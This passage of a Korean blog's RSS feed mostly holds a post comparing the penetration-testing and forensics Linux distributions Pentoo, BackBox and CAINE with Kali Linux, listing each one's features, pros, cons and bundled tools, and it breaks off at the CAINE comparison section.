&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(들여쓰기 해야됨)&lt;/span&gt;&lt;/p&gt;</description>
      <category>공부/코딩공부</category>
      <category>계산기만들기</category>
      <category>코딩</category>
      <category>파이썬</category>
      <category>프로그래밍</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/30</guid>
      <comments>https://geru.tistory.com/30#entry30comment</comments>
      <pubDate>Sat, 1 Aug 2020 20:45:22 +0900</pubDate>
    </item>
    <item>
      <title>칼리 리눅스 외의 해킹에 사용될 수 있는 리눅스</title>
      <link>https://geru.tistory.com/28</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span&gt;1. &lt;/span&gt;&lt;span&gt;개요&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;image-169.png&quot; data-origin-width=&quot;813&quot; data-origin-height=&quot;290&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bxx3jQ/btqF9CGkdw4/OzXhWuWZaaIpldSt2HKWY1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bxx3jQ/btqF9CGkdw4/OzXhWuWZaaIpldSt2HKWY1/img.png&quot; data-alt=&quot;칼리 리눅스&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bxx3jQ/btqF9CGkdw4/OzXhWuWZaaIpldSt2HKWY1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbxx3jQ%2FbtqF9CGkdw4%2FOzXhWuWZaaIpldSt2HKWY1%2Fimg.png&quot; data-filename=&quot;image-169.png&quot; data-origin-width=&quot;813&quot; data-origin-height=&quot;290&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;칼리 리눅스&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;모의 침투 테스트를 할 때 리눅스를 사용한다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;칼리 리눅스&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;펜투&lt;/span&gt;&lt;span&gt;(Pentoo) &lt;/span&gt;&lt;span&gt;리눅스&lt;/span&gt;&lt;span&gt;, BackBox &lt;/span&gt;&lt;span&gt;리눅스&lt;/span&gt;&lt;span&gt;, CAINE &lt;/span&gt;&lt;span&gt;리눅스 등을 이용한다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;가장 많이 사용하는 모의 침투 테스트 리눅스는 칼리 리눅스이다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;그래서 가장 잘 알려져 있는 칼리 리눅스를 제외하고 &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;개의 모의 침투 테스트 리눅스를 조사하고 그것을 칼리 리눅스와 비교해서 분석하였다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span&gt;2. &lt;/span&gt;&lt;span&gt;펜투&lt;/span&gt;&lt;span&gt;(Pentoo) &lt;/span&gt;&lt;span&gt;리눅스&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;images.png&quot; data-origin-width=&quot;300&quot; data-origin-height=&quot;168&quot; width=&quot;554&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kK3kZ/btqGdsP069a/OulFIdYF4WvyNZG0MMfDIK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kK3kZ/btqGdsP069a/OulFIdYF4WvyNZG0MMfDIK/img.png&quot; data-alt=&quot;펜투 리눅스&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kK3kZ/btqGdsP069a/OulFIdYF4WvyNZG0MMfDIK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkK3kZ%2FbtqGdsP069a%2FOulFIdYF4WvyNZG0MMfDIK%2Fimg.png&quot; data-filename=&quot;images.png&quot; data-origin-width=&quot;300&quot; data-origin-height=&quot;168&quot; width=&quot;554&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;펜투 리눅스&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;1. &lt;/span&gt;&lt;span&gt;소개&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;기존 젠투 리눅스 설치를 위한 오버레이로도 이용 가능하다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;또 패킷 주입 패치 &lt;/span&gt;&lt;span&gt;wi-fi &lt;/span&gt;&lt;span&gt;드라이버&lt;/span&gt;&lt;span&gt;, GPGPU &lt;/span&gt;&lt;span&gt;크래킹 소프트웨어 및 침투 테스트 및 보안 평가를 위한 많은 도구를 갖추고 있다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;바이너리는 최신 야간 버전의 일부 도구를 사용하여 강화된 툴체인에서 컴파일된 바이너리와 함께 제공한다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;2. &lt;/span&gt;&lt;span&gt;특징&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;(1) openCL &lt;/span&gt;&lt;span&gt;및 &lt;/span&gt;&lt;span&gt;CUDA&lt;/span&gt;&lt;span&gt;가 &lt;/span&gt;&lt;span&gt;'&lt;/span&gt;&lt;span&gt;바로 사용 가능&lt;/span&gt;&lt;span&gt;'&lt;/span&gt;&lt;span&gt;으로 구성된 &lt;/span&gt;&lt;span&gt;GPGPU&lt;/span&gt;&lt;span&gt;를 사용하여 비밀번호를 해독하는데 필요한 환경을 포함한다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;(2) &lt;/span&gt;&lt;span&gt;여분의 패치로 강화된 커널&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;(3) &lt;/span&gt;&lt;span&gt;펜투 오버레이를 사용하여 표준 젠투 빌드 위에 도구를 빌드 할 수 있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;(4) HDD&lt;/span&gt;&lt;span&gt;에 설치된 경우 &lt;/span&gt;&lt;span&gt;LUKS&lt;/span&gt;&lt;span&gt;로 전체 디스크 암호화 지원한다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;3. &lt;/span&gt;&lt;span&gt;장점&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;(1) &lt;/span&gt;&lt;span&gt;초보자인 경우 설치라지 않고 라이브 모드에서 테스트를 할 수 있고 전문가인 경우 모든 도구를 여기에 사용할 수 있으며 나중에 다운로드할 수도 있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;(2) USB &lt;/span&gt;&lt;span&gt;스틱에서 직접 실행할 수 있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;(3) Xfce&lt;/span&gt;&lt;span&gt;는 여러 사용자 정의 옵션이 있는 비교적 가벼운 데스크톱 환경이므로 성능을 향상시킨다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;4. &lt;/span&gt;&lt;span&gt;단점&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;(1) &lt;/span&gt;&lt;span&gt;운영 체제&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;설치 프로그램&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;지원 도구의 내부 작업 및 안정성 향상에 중점을 두기 때문에 웹 사이트의 유지 관리가 잘 되어있지 않다&lt;/span&gt;&lt;span&gt;. (&lt;/span&gt;&lt;span&gt;심지어 마케팅 부서나 웹 개발자가 없다&lt;/span&gt;&lt;span&gt;.)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;(2) &lt;/span&gt;&lt;span&gt;친숙한 패키지 관리자가 없으며 일부 초보자에게는 이것에 어려움을 느낄 수 있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;5. &lt;/span&gt;&lt;span&gt;배포판에 포함된 도구&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;분석기&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;블루투스&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;크래커&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;데이터 베이스&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;개발&lt;/span&gt;&lt;span&gt;, Exploit, Footprint, &lt;/span&gt;&lt;span&gt;법의학&lt;/span&gt;&lt;span&gt;, Forging,&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;Fuzzers, MitM, Pentoo, Proxy, RCE, &lt;/span&gt;&lt;span&gt;스캐너&lt;/span&gt;&lt;span&gt;, SIP-VOIP, &lt;/span&gt;&lt;span&gt;무선 등이 제공되어 있다&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;6. Kali Linux &lt;/span&gt;&lt;span&gt;와 비교 분석&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;칼리 리눅스와 달리 팀 마케팅 부서나 웹 개발자가 없어서 웹사이트 유지 관리가 부족하다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;하지만 해킹 소프트웨어가 설치되는 방식을 좀 더 세밀하게 제어해야 한다면 &lt;/span&gt;&lt;span&gt;Pentoo&lt;/span&gt;&lt;span&gt;가 적합하다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;라이브러리&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;칩셋&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;데스크톱 환경&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;프로토콜&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;스크립트 언어&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;데이터베이스에 대한 매우 구체적인 지원 소스에서 소프트웨어를 설치에 관해서는 젠투 기반 운영체제인 &lt;/span&gt;&lt;span&gt;Pentoo&lt;/span&gt;&lt;span&gt;가 더 좋을 것이다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span&gt;3. &lt;/span&gt;&lt;span&gt;BackBox&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;리눅스&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;LinuxTechNews-com-backbox-linux-new.png&quot; data-origin-width=&quot;735&quot; data-origin-height=&quot;401&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bb2zBP/btqGeaVrR5l/Vxs3UEMGx3rN4AOjLVI4W1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bb2zBP/btqGeaVrR5l/Vxs3UEMGx3rN4AOjLVI4W1/img.png&quot; data-alt=&quot;BackBox 리눅스&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bb2zBP/btqGeaVrR5l/Vxs3UEMGx3rN4AOjLVI4W1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbb2zBP%2FbtqGeaVrR5l%2FVxs3UEMGx3rN4AOjLVI4W1%2Fimg.png&quot; data-filename=&quot;LinuxTechNews-com-backbox-linux-new.png&quot; data-origin-width=&quot;735&quot; data-origin-height=&quot;401&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;BackBox 리눅스&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;&lt;span&gt;1. &lt;/span&gt;&lt;span&gt;소개&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;침투 테스트 및 보안 평가 중심의 우분투&lt;/span&gt;&lt;span&gt;(Ubuntu) &lt;/span&gt;&lt;span&gt;기반 리눅스 배포판으로 네트워크 및 정보 시스템 분석 툴킷을 제공합니다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;윤리적 해킹 및 보안 테스트에 필요한 완전한 도구 세트가 포함되어 있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;2. &lt;/span&gt;&lt;span&gt;특징&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;널리 사용되는 네트워크 및 시스템 보안 분석 툴킷에는 웹 응용프로그램 분석&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;네트워크 분석&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;스트레스 테스트&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;취약성 평가&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;컴퓨터 법의학 분석 및 악용 등 다양한 목적을 위한 윤리적 해킹 및 보안 테스트 도구 세트가 포함되어 있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;3. &lt;/span&gt;&lt;span&gt;장점&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;(1) &lt;/span&gt;&lt;span&gt;보안 평가를 수행하기 위한 강력한 도구가 사전 로드되어 있다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;특히 &lt;/span&gt;&lt;span&gt;Launchpad &lt;/span&gt;&lt;span&gt;리포지토리 코어는 최신 주요 펜 테스팅 &lt;/span&gt;&lt;span&gt;/ &lt;/span&gt;&lt;span&gt;윤리적 해킹 도구의 안정적인 최신 버전으로 지속적으로 업데이트된다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;(2) Ubuntu&lt;/span&gt;&lt;span&gt;와 &lt;/span&gt;&lt;span&gt;Debian Linux &lt;/span&gt;&lt;span&gt;배포판을 기반으로 하기 때문에 운영자의 판단에 따라 푸가 확장성을 쉽게 구축할 수 있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;(3) Wireshark&lt;/span&gt;&lt;span&gt;와 같은 모든 기능을 갖춘 도구가 솔루션에 통합되어 있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;4. &lt;/span&gt;&lt;span&gt;단점&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;(1) &lt;/span&gt;&lt;span&gt;공격 보안의 공식 버그 바운티 프로그램을 원하지 않는다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;(2) &lt;/span&gt;&lt;span&gt;유닉스 및 유닉스 명령어에 대한 경험이 있어야 하고 최대한 명령어를 잘 활용할 줄 알아야 한다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;5. &lt;/span&gt;&lt;span&gt;배포판에 포함된 도구&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;메타 스플로잇&lt;/span&gt;&lt;span&gt;, Armitage, Nmap, OpenVAS, W3af, &lt;/span&gt;&lt;span&gt;사회공학툴킷&lt;/span&gt;&lt;span&gt;, Ettercap, Scapy, &lt;/span&gt;&lt;span&gt;와이어 샤크&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;키즈멧&lt;/span&gt;&lt;span&gt;, Aircrack, Ophcrack, SQLMap, &lt;/span&gt;&lt;span&gt;존 더 리퍼 등이 제공 되어있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;
&lt;script src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display: block; text-align: center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-7966469452958275&quot; data-ad-slot=&quot;1021225096&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;6. Kali Linux &lt;/span&gt;&lt;span&gt;와 비교 분석&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;BackBox &lt;/span&gt;&lt;span&gt;리눅스는 버그 바운티 프로그램을 제공하지 않고 칼리 리눅스는 그것을 제공한다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;그래서 버그 바운티 프로그램을 필요한 사용자는 &lt;/span&gt;&lt;span&gt;BackBox &lt;/span&gt;&lt;span&gt;리눅스를 사용하는 것을 권장하지 않는다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;하지만 런치 패드 저장소 코어를 이용해서 오픈소스 커뮤니티에서 가장 널리 사용되는 윤리적 해킹 도구를 최신 버전으로 지속적으로 업데이트하기 때문에 윤리적 해킹를 공부하고 싶다면 사용을 권장한다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span&gt;4. &lt;/span&gt;&lt;span&gt;CAINE &lt;/span&gt;&lt;span&gt;리눅스&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;Caine-OS.jpg&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;291&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mDrgJ/btqGewqrCjn/2xN4kDImjEBtIGPfoMmu0K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mDrgJ/btqGewqrCjn/2xN4kDImjEBtIGPfoMmu0K/img.jpg&quot; data-alt=&quot;CAINE 리눅스&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mDrgJ/btqGewqrCjn/2xN4kDImjEBtIGPfoMmu0K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmDrgJ%2FbtqGewqrCjn%2F2xN4kDImjEBtIGPfoMmu0K%2Fimg.jpg&quot; data-filename=&quot;Caine-OS.jpg&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;291&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;CAINE 리눅스&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;1. &lt;/span&gt;&lt;span&gt;소개&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;GUI &lt;/span&gt;&lt;span&gt;환경에서 강력한 스크립트와 함께 소프트웨어 도구를 모듈로 통합하는 전문 오픈 소스 포렌식 플랫폼이다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;운영환경은 법의학 전문가에게 디지털 법의학 조사 프로세스 &lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;보존&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;수집&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;검사&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;분석&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;을 수행하는 데 필요한 모든 도구를 제공할 목적으로 설계되었다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;2. &lt;/span&gt;&lt;span&gt;특징&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;법의학적 작업을 수행하기 위해 그래픽 또는 명령 줄 환경에서 사용할 수 있는 수많은 소프트웨어 응용 프로그램&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;스크립트 및 라이브러리가 있다&lt;/span&gt;&lt;span&gt;. CAINE&lt;/span&gt;&lt;span&gt;은 &lt;/span&gt;&lt;span&gt;Microsoft Windows, Linux &lt;/span&gt;&lt;span&gt;및 일부 &lt;/span&gt;&lt;span&gt;Unix &lt;/span&gt;&lt;span&gt;시스템에서 작성된 데이터 오브젝트의 데이터 분석을 수행할 수 있다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;3. &lt;/span&gt;&lt;span&gt;장점&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;(1) &lt;/span&gt;&lt;span&gt;디지털 조사의 &lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;단계 동안 디지털 조사자를 지원하는 상호 운용 가능한 환경이다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;(2) &lt;/span&gt;&lt;span&gt;사용자 친화적인 그래픽 인터페이스이다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;(3) &lt;/span&gt;&lt;span&gt;전자 증거를 수집하고 분석하는 동안 문서 및 보고서 편집을 위한 반자동 프로세스를 제공한다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;4. &lt;/span&gt;&lt;span&gt;단점&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;(1) &lt;/span&gt;&lt;span&gt;시스템 작업 및 설치가 어려워서 &lt;/span&gt;&lt;span&gt;UEFI &lt;/span&gt;&lt;span&gt;시스템에 설치하는 동안 번거로울 수 있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;(2) &lt;/span&gt;&lt;span&gt;범용 리눅스 시스템으로 사용하기에는 너무 복잡하고 관리하기가 어렵다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;5. &lt;/span&gt;&lt;span&gt;배포판에 포함된 도구&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Sleuth Kit, Autopsy, RegRipper, Tinfoleak, Wireshark, PhotoRec, Fsstat &lt;/span&gt;&lt;span&gt;등이 제공 되어있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;6. Kali Linux &lt;/span&gt;&lt;span&gt;와 비교 분석&lt;/span&gt;&lt;/p&gt;
